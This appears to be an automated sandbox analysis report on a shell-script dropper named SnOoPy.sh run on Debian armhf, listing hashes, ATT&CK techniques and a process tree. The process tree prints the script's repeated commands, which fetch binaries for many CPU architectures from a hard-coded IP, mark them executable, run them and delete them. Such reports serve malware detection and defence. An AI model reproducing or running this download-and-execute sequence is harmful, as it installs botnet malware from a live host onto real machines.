78276bd481a04c29109fbbd8313701e5b814165fa4b48515ec4489ccfda93107

Analysis

max time kernel
42s
max time network
59s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
06-12-2024 14:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

script_malware/SnOoPy.sh
Size

2KB
MD5

f0664749e65d26335de79a90c7074d00
SHA1

0deb03914ba232314b5214803dd97b94c1c9d9e5
SHA256

57ad07730428c1412ba43f4470c2074f4f0ef4e6eb5fcd24c9e19e49028e455a
SHA512

b605e84c23dad423a5e585c49957b0ade5f8764681f010fc1d192c81f677e4a849872db8afedd262e740f648aca18649a89420a54a02f1f1bd594c2125c2b6ff

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
780	chmod
784	chmod
797	chmod
801	chmod
815	chmod
811	chmod
819	chmod
689	chmod
721	chmod
751	chmod
773	chmod
788	chmod
805	chmod

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
679	SnOoPy.sh

/tmp/script_malware/SnOoPy.sh
/tmp/script_malware/SnOoPy.sh
1⤵
- System Network Configuration Discovery
PID:679
- /usr/bin/wget
  wget http://185.144.159.137/m-i.p-s.SNOOPY
  2⤵
  PID:685
- /bin/chmod
  chmod +x m-i.p-s.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/m-i.p-s.SNOOPY
  ./m-i.p-s.SNOOPY
  2⤵
  PID:691
- /bin/rm
  rm -rf m-i.p-s.SNOOPY
  2⤵
  PID:692
- /usr/bin/wget
  wget http://185.144.159.137/m-p.s-l.SNOOPY
  2⤵
  PID:693
- /bin/chmod
  chmod +x m-p.s-l.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:721
- /tmp/m-p.s-l.SNOOPY
  ./m-p.s-l.SNOOPY
  2⤵
  PID:723
- /bin/rm
  rm -rf m-p.s-l.SNOOPY
  2⤵
  PID:724
- /usr/bin/wget
  wget http://185.144.159.137/s-h.4-.SNOOPY
  2⤵
  PID:726
- /bin/chmod
  chmod +x s-h.4-.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/s-h.4-.SNOOPY
  ./s-h.4-.SNOOPY
  2⤵
  PID:754
- /bin/rm
  rm -rf s-h.4-.SNOOPY
  2⤵
  PID:755
- /usr/bin/wget
  wget http://185.144.159.137/x-8.6-.SNOOPY
  2⤵
  PID:756
- /bin/chmod
  chmod +x x-8.6-.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/x-8.6-.SNOOPY
  ./x-8.6-.SNOOPY
  2⤵
  PID:774
- /bin/rm
  rm -rf x-8.6-.SNOOPY
  2⤵
  PID:775
- /usr/bin/wget
  wget http://185.144.159.137/a-r.m-6.SNOOPY
  2⤵
  PID:776
- /bin/chmod
  chmod +x a-r.m-6.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/a-r.m-6.SNOOPY
  ./a-r.m-6.SNOOPY
  2⤵
  PID:781
- /bin/rm
  rm -rf a-r.m-6.SNOOPY
  2⤵
  PID:782
- /usr/bin/wget
  wget http://185.144.159.137/x-3.2-.SNOOPY
  2⤵
  PID:783
- /bin/chmod
  chmod +x x-3.2-.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/x-3.2-.SNOOPY
  ./x-3.2-.SNOOPY
  2⤵
  PID:785
- /bin/rm
  rm -rf x-3.2-.SNOOPY
  2⤵
  PID:786
- /usr/bin/wget
  wget http://185.144.159.137/a-r.m-7.SNOOPY
  2⤵
  PID:787
- /bin/chmod
  chmod +x a-r.m-7.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/a-r.m-7.SNOOPY
  ./a-r.m-7.SNOOPY
  2⤵
  PID:789
- /bin/rm
  rm -rf a-r.m-7.SNOOPY
  2⤵
  PID:790
- /usr/bin/wget
  wget http://185.144.159.137/p-p.c-.SNOOPY
  2⤵
  PID:791
- /bin/chmod
  chmod +x p-p.c-.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/p-p.c-.SNOOPY
  ./p-p.c-.SNOOPY
  2⤵
  PID:798
- /bin/rm
  rm -rf p-p.c-.SNOOPY
  2⤵
  PID:799
- /usr/bin/wget
  wget http://185.144.159.137/i-5.8-6.SNOOPY
  2⤵
  PID:800
- /bin/chmod
  chmod +x i-5.8-6.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/i-5.8-6.SNOOPY
  ./i-5.8-6.SNOOPY
  2⤵
  PID:802
- /bin/rm
  rm -rf i-5.8-6.SNOOPY
  2⤵
  PID:803
- /usr/bin/wget
  wget http://185.144.159.137/m-6.8-k.SNOOPY
  2⤵
  PID:804
- /bin/chmod
  chmod +x m-6.8-k.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/m-6.8-k.SNOOPY
  ./m-6.8-k.SNOOPY
  2⤵
  PID:806
- /bin/rm
  rm -rf m-6.8-k.SNOOPY
  2⤵
  PID:807
- /usr/bin/wget
  wget http://185.144.159.137/p-p.c-.SNOOPY
  2⤵
  PID:808
- /bin/chmod
  chmod +x p-p.c-.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/p-p.c-.SNOOPY
  ./p-p.c-.SNOOPY
  2⤵
  PID:812
- /bin/rm
  rm -rf p-p.c-.SNOOPY
  2⤵
  PID:813
- /usr/bin/wget
  wget http://185.144.159.137/a-r.m-4.SNOOPY
  2⤵
  PID:814
- /bin/chmod
  chmod +x a-r.m-4.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/a-r.m-4.SNOOPY
  ./a-r.m-4.SNOOPY
  2⤵
  PID:816
- /bin/rm
  rm -rf a-r.m-4.SNOOPY
  2⤵
  PID:817
- /usr/bin/wget
  wget http://185.144.159.137/a-r.m-5.SNOOPY
  2⤵
  PID:818
- /bin/chmod
  chmod +x a-r.m-5.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/a-r.m-5.SNOOPY
  ./a-r.m-5.SNOOPY
  2⤵
  PID:820
- /bin/rm
  rm -rf a-r.m-5.SNOOPY
  2⤵
  PID:821

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads